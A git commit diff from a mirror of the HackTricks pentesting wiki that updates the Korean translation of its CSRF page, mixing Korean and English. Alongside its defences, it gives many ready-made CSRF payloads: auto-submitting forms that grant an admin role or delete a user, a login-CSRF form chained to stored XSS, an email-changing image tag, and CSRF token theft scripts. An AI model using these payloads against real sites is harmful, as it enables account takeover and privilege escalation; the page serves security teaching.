mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
		
							parent
							
								
									1950eb5c38
								
							
						
					
					
						commit
						d8b78706db
					
				| @ -487,6 +487,7 @@ | ||||
| - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) | ||||
|   - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) | ||||
|   - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) | ||||
|   - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) | ||||
| - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) | ||||
| - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) | ||||
| - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) | ||||
|  | ||||
| @ -4,49 +4,56 @@ | ||||
| 
 | ||||
| ## Cross-Site Request Forgery (CSRF) 설명 | ||||
| 
 | ||||
| **Cross-Site Request Forgery (CSRF)** 은 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 사용자의 인증된 세션을 악용하여 사용자를 대신해 작업을 수행할 수 있습니다. 이 공격은 사용자가 피해자의 플랫폼에 로그인한 상태에서 악성 사이트를 방문할 때 실행됩니다. 해당 사이트는 JavaScript 실행, 폼 제출 또는 이미지 로드와 같은 방법으로 피해자 계정에 요청을 전송합니다. | ||||
| **Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 인증된 세션을 악용하여 사용자가 모르는 사이에 그 사용자를 대신해 동작을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인된 사용자가 악성 사이트를 방문할 때 발생합니다. 해당 사이트는 JavaScript 실행, 폼 제출, 이미지 가져오기 등과 같은 방법으로 피해자의 계정에 요청을 발생시킵니다. | ||||
| 
 | ||||
| ### CSRF 공격을 위한 사전 조건 | ||||
| ### CSRF 공격을 위한 전제 조건 | ||||
| 
 | ||||
| CSRF 취약점을 악용하려면 몇 가지 조건이 충족되어야 합니다: | ||||
| CSRF 취약점을 악용하려면 다음과 같은 조건들이 충족되어야 합니다: | ||||
| 
 | ||||
| 1. **Identify a Valuable Action**: 공격자는 사용자 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 작업을 찾아야 합니다. | ||||
| 2. **Session Management**: 사용자의 세션은 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다. | ||||
| 3. **Absence of Unpredictable Parameters**: 요청에 예측 불가능한 매개변수가 포함되어 있지 않아야 합니다. 이러한 매개변수는 공격을 방지할 수 있습니다. | ||||
| 1. **가치 있는 동작 식별**: 공격자는 사용자 비밀번호 변경, 이메일 변경, 권한 상승 등 악용할 가치가 있는 동작을 찾아야 합니다. | ||||
| 2. **세션 관리**: 사용자의 세션은 오직 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다. | ||||
| 3. **예측 불가능한 매개변수의 부재**: 요청에 예측 불가능한 매개변수가 포함되어 있으면 공격을 방지할 수 있습니다. | ||||
| 
 | ||||
| ### 빠른 확인 | ||||
| 
 | ||||
| 요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다: | ||||
| 요청을 **Burp에서 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다: | ||||
| 
 | ||||
| <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure> | ||||
| 
 | ||||
| ### CSRF 방어 | ||||
| ### CSRF에 대한 방어 | ||||
| 
 | ||||
| 다음과 같은 여러 대책을 구현하여 CSRF 공격으로부터 보호할 수 있습니다: | ||||
| 다음과 같은 대응책들을 구현하여 CSRF 공격으로부터 보호할 수 있습니다: | ||||
| 
 | ||||
| - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 cookies를 전송하는 것을 방지합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). | ||||
| - [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. [Learn about CORS bypass](cors-bypass.md). | ||||
| - **User Verification**: 사용자 비밀번호 입력을 요구하거나 captcha 해결을 통해 사용자의 의도를 확인할 수 있습니다. | ||||
| - **Checking Referrer or Origin Headers**: Referrer 또는 Origin 헤더를 검증하면 요청이 신뢰된 출처에서 오는지 확인할 수 있습니다. 그러나 URL을 세심하게 조작하면 제대로 구현되지 않은 검사들을 우회할 수 있습니다. 예: | ||||
|   - Using `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남) | ||||
|   - Using `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함) | ||||
| - **Modifying Parameter Names**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. | ||||
| - **CSRF Tokens**: 세션마다 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS 적용으로 향상될 수 있습니다. | ||||
| - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 출처 요청과 함께 cookies를 전송하지 못하게 합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). | ||||
| - [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 중요합니다. [Learn about CORS bypass](cors-bypass.md). | ||||
| - **User Verification**: 사용자에게 비밀번호 입력을 요구하거나 captcha를 풀게 하는 방식으로 사용자의 의도를 확인할 수 있습니다. | ||||
| - **Referrer 또는 Origin 헤더 검사**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 왔는지 확인하는 데 도움이 됩니다. 그러나 잘못 구현된 검사를 우회할 수 있는 URL 조작 방식들이 있습니다. 예: | ||||
|   - `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남) | ||||
|   - `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함) | ||||
| - **매개변수 이름 변경**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. | ||||
| - **CSRF Tokens**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. CORS를 적용하면 토큰의 효과를 더욱 높일 수 있습니다. | ||||
| 
 | ||||
| 이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다. | ||||
| 이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 매우 중요합니다. | ||||
| 
 | ||||
| ## 방어 우회 | ||||
| #### 방어의 일반적인 함정 | ||||
| 
 | ||||
| ### POST에서 GET으로 (method-conditioned CSRF validation bypass) | ||||
| - SameSite의 함정: `SameSite=Lax`는 여전히 링크나 폼의 GET과 같은 최상위 교차 출처 내비게이션을 허용하므로 많은 GET 기반 CSRF가 여전히 가능할 수 있습니다. cookie matrix는 [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)를 참조하세요. | ||||
| - 헤더 검사: `Origin`이 있을 때 이를 검증하세요; `Origin`과 `Referer`가 모두 없으면 접근을 차단하세요(fail closed). 유사 도메인이나 조작된 URL로 우회될 수 있는 `Referer`의 부분 문자열/정규식 매칭에 의존하지 마세요. 또한 `meta name="referrer" content="never"` 억제 트릭을 주의하세요. | ||||
| - Method override: 오버라이드된 메서드(`_method` 또는 override headers)는 상태 변경으로 간주하고 POST에만 적용하지 말고 실제 적용되는 메서드에 대해 CSRF를 강제하세요. | ||||
| - 로그인 흐름: 로그인에도 CSRF 보호를 적용하세요. 그렇지 않으면 로그인 CSRF가 공격자가 제어하는 계정으로 강제 재인증을 허용하게 되고, 이는 stored XSS와 연계되어 사용될 수 있습니다. | ||||
| 
 | ||||
| 일부 애플리케이션은 다른 HTTP verbs에 대해서는 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티 패턴은 다음과 같습니다: | ||||
| ## Defences Bypass | ||||
| 
 | ||||
| ### From POST to GET (method-conditioned CSRF validation bypass) | ||||
| 
 | ||||
| 일부 애플리케이션은 다른 HTTP 동사를 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티패턴은 다음과 같습니다: | ||||
| ```php | ||||
| public function csrf_check($fatal = true) { | ||||
| if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF | ||||
| // ... validate __csrf_token here ... | ||||
| } | ||||
| ``` | ||||
| 취약한 엔드포인트가 $_REQUEST에서 오는 파라미터도 허용하면, 동일한 액션을 GET 요청으로 재전송하고 CSRF 토큰을 완전히 생략할 수 있습니다. 이렇게 하면 POST 전용 액션이 토큰 없이 성공하는 GET 액션으로 바뀝니다. | ||||
| 취약한 엔드포인트가 $_REQUEST에서 파라미터를 받는다면, 동일한 동작을 GET 요청으로 다시 발행하고 CSRF token을 완전히 생략할 수 있습니다. 이렇게 하면 POST-only 동작이 토큰 없이 성공하는 GET 동작으로 전환됩니다. | ||||
| 
 | ||||
| Example: | ||||
| 
 | ||||
| @ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi | ||||
| ``` | ||||
| 
 | ||||
| Notes: | ||||
| - 이 패턴은 응답이 application/json 대신 text/html로 잘못 서빙되는 reflected XSS와 함께 자주 나타납니다. | ||||
| - XSS와 결합하면 단일 GET 링크로 취약한 코드 경로를 트리거하고 CSRF 검사를 완전히 회피할 수 있으므로 악용 장벽이 크게 낮아집니다. | ||||
| - 이 패턴은 종종 reflected XSS와 함께 나타나며, 응답이 application/json 대신 잘못하여 text/html로 제공되는 경우가 많습니다. | ||||
| - 이를 XSS와 결합하면 취약한 코드 경로를 트리거하고 CSRF checks를 완전히 회피하는 단일 GET 링크를 전달할 수 있어 exploitation 장벽이 크게 낮아집니다. | ||||
| 
 | ||||
| ### 토큰 누락 | ||||
| ### 토큰 없음 | ||||
| 
 | ||||
| 애플리케이션은 토큰이 있을 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 하지만 토큰이 없을 때 검증을 완전히 건너뛰면 취약점이 발생합니다. 공격자는 토큰의 값만 바꾸는 것이 아니라 토큰을 전달하는 파라미터 자체를 **제거(remove the parameter)** 함으로써 이를 악용할 수 있습니다. 이렇게 하면 검증 과정을 우회하고 효과적으로 Cross-Site Request Forgery (CSRF) 공격을 수행할 수 있습니다. | ||||
| Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively. | ||||
| 
 | ||||
| ### CSRF 토큰이 사용자 세션에 연동되어 있지 않음 | ||||
| Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough: | ||||
| ```http | ||||
| POST /admin/users/role HTTP/2 | ||||
| Host: example.com | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| 
 | ||||
| CSRF 토큰을 사용자 세션에 연동하지 않는 애플리케이션은 심각한 보안 위험을 안고 있습니다. 이러한 시스템은 각 토큰을 발행 세션에 바인딩하지 않고 **글로벌 풀**을 기준으로 토큰을 검증합니다. | ||||
| username=guest&role=admin&csrf= | ||||
| ``` | ||||
| 최소한의 자동 제출 PoC (history.pushState로 탐색 숨기기): | ||||
| ```html | ||||
| <html> | ||||
| <body> | ||||
| <form action="https://example.com/admin/users/role" method="POST"> | ||||
| <input type="hidden" name="username" value="guest" /> | ||||
| <input type="hidden" name="role" value="admin" /> | ||||
| <input type="hidden" name="csrf" value="" /> | ||||
| <input type="submit" value="Submit request" /> | ||||
| </form> | ||||
| <script>history.pushState('', '', '/'); document.forms[0].submit();</script> | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| ### CSRF token이 사용자 세션에 연동되어 있지 않음 | ||||
| 
 | ||||
| 애플리케이션이 **CSRF tokens을 사용자 세션에 연동하지 않는** 경우 심각한 **보안 위험**을 초래합니다. 이러한 시스템은 각 토큰이 발급한 세션에 바인딩되어 있는지 확인하기보다는 토큰을 **global pool**에 대해 검증합니다. | ||||
| 
 | ||||
| 공격자가 이를 악용하는 방법은 다음과 같습니다: | ||||
| 
 | ||||
| 1. 자신의 계정으로 인증한다. | ||||
| 2. 글로벌 풀에서 유효한 CSRF 토큰을 획득한다. | ||||
| 3. 이 토큰을 피해자를 대상으로 한 CSRF 공격에 사용한다. | ||||
| 1. **자신의 계정으로 인증**합니다. | ||||
| 2. **global pool에서 유효한 CSRF token을 획득**합니다. | ||||
| 3. **이 토큰을 사용**해 피해자에 대한 CSRF attack을 수행합니다. | ||||
| 
 | ||||
| 이 취약점은 공격자가 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용해 피해자를 대신하여 권한 없는 요청을 수행할 수 있게 합니다. | ||||
| 이 취약점으로 공격자는 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용하여 피해자를 대신해 무단 요청을 수행할 수 있습니다. | ||||
| 
 | ||||
| ### Method bypass | ||||
| ### 메서드 우회 | ||||
| 
 | ||||
| 요청이 "이상한" method를 사용하고 있다면 method override 기능이 동작하는지 확인하세요. 예를 들어 PUT을 사용 중이라면 POST를 사용하고 다음과 같이 전송해 볼 수 있습니다: _https://example.com/my/dear/api/val/num?__method=PUT_ | ||||
| 요청이 "**weird**" **method**를 사용 중이라면 **method override** 기능이 작동하는지 확인하세요. 예를 들어 **PUT/DELETE/PATCH** 메서드를 사용 중이라면 **POST**를 사용하고 override를 전송해 볼 수 있습니다. 예: `https://example.com/my/dear/api/val/num?_method=PUT` | ||||
| 
 | ||||
| 이것은 POST 요청 내부에 **\_method 파라미터를 넣어서** 보내거나 다음 헤더들을 사용해서도 작동할 수 있습니다: | ||||
| 이는 **`_method` parameter inside a POST body**로 전송하거나 override **headers**를 사용해도 동작할 수 있습니다: | ||||
| 
 | ||||
| - _X-HTTP-Method_ | ||||
| - _X-HTTP-Method-Override_ | ||||
| - _X-Method-Override_ | ||||
| - `X-HTTP-Method` | ||||
| - `X-HTTP-Method-Override` | ||||
| - `X-Method-Override` | ||||
| 
 | ||||
| ### Custom header token bypass | ||||
| **Laravel**, **Symfony**, **Express** 등 프레임워크에서 흔히 볼 수 있습니다. 개발자들이 브라우저가 비-POST 동사를 전송할 수 없다고 가정해 비-POST 동사에 대해 CSRF를 생략하는 경우가 있는데, override를 통해 여전히 POST로 해당 핸들러에 도달할 수 있습니다. | ||||
| 
 | ||||
| 요청이 CSRF 보호 수단으로 토큰을 담은 커스텀 헤더를 추가한다면: | ||||
| 예시 요청 및 HTML PoC: | ||||
| ```http | ||||
| POST /users/delete HTTP/1.1 | ||||
| Host: example.com | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| 
 | ||||
| - Customized Token 및 해당 헤더 없이 요청을 테스트해보세요. | ||||
| - 동일한 길이지만 다른 토큰으로 요청을 테스트해보세요. | ||||
| username=admin&_method=DELETE | ||||
| ``` | ||||
| 
 | ||||
| ### CSRF 토큰이 쿠키로 검증되는 경우 | ||||
| ```html | ||||
| <form method="POST" action="/users/delete"> | ||||
| <input name="username" value="admin"> | ||||
| <input type="hidden" name="_method" value="DELETE"> | ||||
| <button type="submit">Delete User</button> | ||||
| </form> | ||||
| ``` | ||||
| ### 커스텀 헤더 token 우회 | ||||
| 
 | ||||
| 애플리케이션은 토큰을 쿠키와 요청 파라미터에 중복해서 넣거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방식으로 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 토큰이 쿠키 값과 일치하는지를 확인하여 요청을 검증합니다. | ||||
| 요청이 **사용자 정의 헤더**에 **token**을 **CSRF 보호 방법**으로 추가하는 경우: | ||||
| 
 | ||||
| 그러나 사이트에 CRLF 취약점 등 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있다면 이 방식은 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지(deceptive image)를 로드한 뒤 CSRF 공격을 개시함으로써 이를 악용할 수 있습니다. | ||||
| - 요청을 **Customized Token 및 해당 헤더 없이** 테스트하세요. | ||||
| - 길이가 **정확히 동일하지만 다른 token**으로 요청을 테스트하세요. | ||||
| 
 | ||||
| 아래는 공격을 구성하는 예시입니다: | ||||
| ### CSRF token이 쿠키로 검증되는 경우 | ||||
| 
 | ||||
| 애플리케이션은 token을 쿠키와 요청 파라미터에 중복 저장하거나 CSRF 쿠키를 설정하고 백엔드로 전송된 token이 쿠키와 일치하는지 확인함으로써 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 token이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. | ||||
| 
 | ||||
| 그러나 이 방법은 CRLF 취약점과 같이 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 웹사이트에서는 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지( deceptive image )를 불러오게 한 뒤 CSRF 공격을 시작하는 방식으로 이를 악용할 수 있습니다. | ||||
| 
 | ||||
| 아래는 공격이 어떻게 구성될 수 있는지에 대한 예시입니다: | ||||
| ```html | ||||
| <html> | ||||
| <!-- CSRF Proof of Concept - generated by Burp Suite Professional --> | ||||
| @ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> | ||||
| </html> | ||||
| ``` | ||||
| > [!TIP] | ||||
| > **csrf token이 session cookie와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자에게 당신의 세션을 설정해야 하고, 따라서 결국 당신 자신을 공격하게 되기 때문입니다. | ||||
| > 만약 **csrf token이 session cookie와 연관되어 있다면 이 공격은 작동하지 않습니다**. 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. | ||||
| 
 | ||||
| ### Content-Type 변경 | ||||
| 
 | ||||
| According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: | ||||
| [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용할 때 **preflight 요청을 피하려면** 허용되는 Content-Type 값은 다음과 같습니다: | ||||
| 
 | ||||
| - **`application/x-www-form-urlencoded`** | ||||
| - **`multipart/form-data`** | ||||
| - **`text/plain`** | ||||
| 
 | ||||
| 그러나 사용된 **Content-Type**에 따라 서버 로직이 달라질 수 있으므로 위에서 언급한 값들과 다른 값들, 예를 들어 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 도 시도해 보아야 합니다. | ||||
| 단, 사용된 **Content-Type**에 따라 **서버 로직이 달라질 수 있음**에 유의하세요. 따라서 위에 언급한 값들과 **`application/json`**, **`text/xml`**, **`application/xml`** 같은 값들도 시도해봐야 합니다. | ||||
| 
 | ||||
| 예제 (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: | ||||
| Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: | ||||
| ```html | ||||
| <html> | ||||
| <body> | ||||
| @ -162,23 +209,23 @@ form.submit() | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| ### JSON 데이터에 대한 Preflight 요청 우회 | ||||
| ### Bypassing Preflight Requests for JSON Data | ||||
| 
 | ||||
| POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 지정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 보내면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type와 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 몇 가지 방법이 있습니다: | ||||
| POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 설정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 전송하면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type과 상관없이 JSON 데이터를 처리하는지 확인할 수 있는 방법들이 있습니다: | ||||
| 
 | ||||
| 1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정해 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이는 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다. | ||||
| 2. **Modify Content Type**: preflight request를 발생시키지 않으면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 보낼 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 설정되어 있다면 올바르게 처리될 수 있습니다. | ||||
| 3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 이용해 이러한 제한을 우회할 수 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참조하세요. | ||||
| 1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용하세요. 이 방법은 백엔드가 Content-Type과 상관없이 데이터를 사용하는지 테스트합니다. | ||||
| 2. **Modify Content Type**: preflight request를 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 구성되어 있다면 제대로 처리될 수 있습니다. | ||||
| 3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 사용해 이러한 제약을 우회하는 방법이 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참고하세요. | ||||
| 
 | ||||
| ### Referrer / Origin 검사 우회 | ||||
| ### Referrer / Origin check bypass | ||||
| 
 | ||||
| **Referrer 헤더 회피** | ||||
| **Avoid Referrer header** | ||||
| 
 | ||||
| 애플리케이션은 'Referer' 헤더가 존재할 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 못하게 하려면 다음 HTML meta 태그를 사용할 수 있습니다: | ||||
| Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used: | ||||
| ```xml | ||||
| <meta name="referrer" content="never"> | ||||
| ``` | ||||
| 이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증을 우회할 수 있습니다. | ||||
| 이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증 체크를 우회할 수 있습니다. | ||||
| 
 | ||||
| **Regexp bypasses** | ||||
| 
 | ||||
| @ -187,7 +234,7 @@ POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Conte | ||||
| ssrf-server-side-request-forgery/url-format-bypass.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 URL에 설정하려면 다음과 같이 할 수 있습니다: | ||||
| URL에 Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다: | ||||
| ```html | ||||
| <html> | ||||
| <!-- Referrer policy needed to send the qury parameter in the referrer --> | ||||
| @ -216,25 +263,60 @@ document.forms[0].submit() | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| ### **HEAD method bypass** | ||||
| ### **HEAD 메서드 우회** | ||||
| 
 | ||||
| 이 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 부분에서는 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281)에서 router가 **handle HEAD requests as GET requests** with no response body로 설정되어 있다고 설명합니다 — 이는 Oak에만 국한되지 않는 흔한 우회 방법입니다. HEAD reqs를 처리하는 특정 handler 대신, 요청들은 단순히 **given to the GET handler but the app just removes the response body**. | ||||
| The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **HEAD 요청을 GET 요청으로 처리하도록** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **GET 핸들러에 전달되지만 앱이 응답 본문만 제거합니다**. | ||||
| 
 | ||||
| 따라서 GET 요청이 제한되고 있다면, 단순히 **send a HEAD request that will be processed as a GET request** 하면 됩니다. | ||||
| 따라서 GET 요청이 제한되는 경우, **GET 요청으로 처리될 HEAD 요청을 전송할 수 있습니다**. | ||||
| 
 | ||||
| ## **Exploit Examples** | ||||
| 
 | ||||
| ### **Exfiltrating CSRF Token** | ||||
| ### 사용자 생성 HTML을 통한 Stored CSRF | ||||
| 
 | ||||
| 만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용해 **exfiltrate it**하려 시도할 수 있습니다. | ||||
| When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their 쿠키. | ||||
| 
 | ||||
| ### **GET using HTML tags** | ||||
| - If the 앱 uses a 글로벌 CSRF 토큰 that is not bound to the user 세션, the same 토큰 may work for all users, making stored CSRF reliable across victims. | ||||
| 
 | ||||
| 로딩될 때 뷰어의 이메일을 변경하는 최소 예시: | ||||
| ```html | ||||
| <img src="https://example.com/account/settings?newEmail=attacker@example.com" alt=""> | ||||
| ``` | ||||
| ### 로그인 CSRF와 stored XSS 연계 | ||||
| 
 | ||||
| 로그인 CSRF 단독으로는 영향이 적을 수 있지만, 인증된 stored XSS와 결합하면 강력해집니다: 피해자를 공격자가 제어하는 계정으로 인증하도록 강제합니다; 그런 컨텍스트에서는 인증된 페이지의 stored XSS가 실행되어 토큰을 훔치거나 세션을 가로채거나 권한을 상승시킬 수 있습니다. | ||||
| 
 | ||||
| - 로그인 엔드포인트가 CSRF-able(세션별 토큰이나 origin 검사 없음)하고 사용자 상호작용 요구로 차단되지 않는지 확인하세요. | ||||
| - 강제 로그인 후, 공격자의 stored XSS payload를 포함한 페이지로 자동 이동시키세요. | ||||
| 
 | ||||
| Minimal login-CSRF PoC: | ||||
| ```html | ||||
| <html> | ||||
| <body> | ||||
| <form action="https://example.com/login" method="POST"> | ||||
| <input type="hidden" name="username" value="attacker@example.com" /> | ||||
| <input type="hidden" name="password" value="StrongPass123!" /> | ||||
| <input type="submit" value="Login" /> | ||||
| </form> | ||||
| <script> | ||||
| history.pushState('', '', '/'); | ||||
| document.forms[0].submit(); | ||||
| // Optionally redirect to a page with stored XSS in the attacker account | ||||
| // location = 'https://example.com/app/inbox'; | ||||
| </script> | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| ### **CSRF Token 탈취** | ||||
| 
 | ||||
| 만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **exfiltrate it** 해볼 수 있습니다. | ||||
| 
 | ||||
| ### **HTML tags를 이용한 GET** | ||||
| ```xml | ||||
| <img src="http://google.es?param=VALUE" style="display:none" /> | ||||
| <h1>404 - Page not found</h1> | ||||
| The URL you are requesting is no longer available | ||||
| ``` | ||||
| 자동으로 GET 요청을 전송하는 데 사용할 수 있는 다른 HTML5 태그들은: | ||||
| 자동으로 GET 요청을 보낼 때 사용할 수 있는 다른 HTML5 태그는 다음과 같다: | ||||
| ```html | ||||
| <iframe src="..."></iframe> | ||||
| <script src="..."></script> | ||||
| @ -281,7 +363,7 @@ document.forms[0].submit() | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| ### Form POST 요청 | ||||
| ### 폼 POST 요청 | ||||
| ```html | ||||
| <html> | ||||
| <body> | ||||
| @ -426,7 +508,7 @@ document.getElementById("formulario").submit() | ||||
| </body> | ||||
| </body> | ||||
| ``` | ||||
| ### **CSRF 토큰을 탈취해 POST 요청 보내기** | ||||
| ### **CSRF Token 탈취 및 POST 요청 전송** | ||||
| ```javascript | ||||
| function submitFormWithTokenJS(token) { | ||||
| var xhr = new XMLHttpRequest() | ||||
| @ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" | ||||
| var POST_URL = "http://google.com?param=VALUE" | ||||
| getTokenJS() | ||||
| ``` | ||||
| ### **CSRF Token을 탈취하고 iframe, form, Ajax를 사용해 Post 요청을 전송하기** | ||||
| ### **CSRF Token을 탈취하고 iframe, form 및 Ajax를 사용하여 Post 요청을 전송하기** | ||||
